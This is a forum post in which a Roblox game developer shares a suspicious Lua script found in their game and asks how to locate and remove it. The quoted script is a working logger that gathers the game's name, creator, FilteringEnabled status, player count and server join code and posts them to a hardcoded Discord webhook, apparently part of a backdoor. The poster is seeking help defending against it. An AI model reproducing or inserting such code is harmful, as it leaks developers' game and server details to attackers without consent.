Hi, today while I was testing my game, I noticed an error:
and I never actually thought about this error much… until today. Today I decided to click the error and it bought me to a script that looks extremely suspicious. It looks like it may be a Roblox script, but some aspects of it look like the script shouldn’t be in my game.
this is the script:
function owner()
if game.CreatorType == Enum.CreatorType.User then
return "User"
elseif game.CreatorType == Enum.CreatorType.Group then
return "Group"
end
end
function name()
if owner() == "User" then
local lol = game.Players:GetNameFromUserIdAsync(game.CreatorId)
return lol
elseif owner() == "Group" then
local hehe = game.GroupService:GetGroupInfoAsync(game.CreatorId).Owner
return hehe
end
end
function filtering()
if game.Workspace.FilteringEnabled == true then
return "ENABBLED"
else
if game.Workspace.FilteringEnabled == false then
return "DISABLED"
end
end
end
local placeId = game.PlaceId
local p = game.Players:GetChildren()
local l1 = "https://discord.com/api/webhooks/796814416443080734/LUsF2UA2gAbOj9vhhMtust2yV6jQOwZbEFFHxuIV8KUjL4dzhhQyxDWm5tDQ_cBjrqdT"
local PlaceId = game.PlaceId
local plrs = game.Players
local maxplayers = plrs.MaxPlayers
local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
local plr = game:GetService("Players")
local HTTP = game:GetService("HttpService")
local Data =
{
["content"] = "",
["embeds"] = {{
["title"] = "New Game Logged",
["description"] = "Game Logged: " .. "**"..GetName.Name.."**",
["type"] = "rich",
["color"]= tonumber(0xff9429),
["footer"] = {
["icon_url"] = '',
["text"] = "NovaSS | 2021."
},
["thumbnail"] = {
["url"] = "https://www.roblox.com/asset-thumbnail/image?assetId="..game.PlaceId.."&width=768&height=432&format=png",
},
["author"] = {
["name"] = "NovaSS",
["icon_url"] = ""
},
["fields"] = {
{
["name"] = "Link:",
["value"] = "https://www.roblox.com/games/"..game.PlaceId.."",
["inline"] = false
},
{
["name"] = "Creator:",
["value"] = name(),
["inline"] = false
},
{
["name"] = "**__Creator Type:__**",
["value"] = owner(),
["inline"] = false
},
{
["name"] = "**__FilteringEnabled:__**",
["value"] = filtering(),
["inline"] = false
},
{
["name"] = "**__Server Players:__**",
["value"] = #plrs:GetPlayers().."/"..game.Players.MaxPlayers,
["inline"] = false
},
{
["name"] = '**__Server Code:__**',
["value"] = "```lua\nRoblox.GameLauncher.JoinGameInstance("..game.PlaceId..","..'"'..game.JobId..'"'..")```",
["inline"] = false
}
}
}
}
}
Data = HTTP:JSONEncode(Data)
HTTP:PostAsync(l1, Data)
(For size reasons I’ve only posted the code rather than the 60 thousand some-odd number of lines)
Now here’s my question Where is it and how do I get rid of it?
I’ve done more investigating and it obviously isn’t a Roblox script as it has a discord webhook liked to it .
If anyone can help I’d greatly appreciate it, because it looks as if this is an exploit or some sort of backdoor that has recently gotten into my game. Thanks in advanced!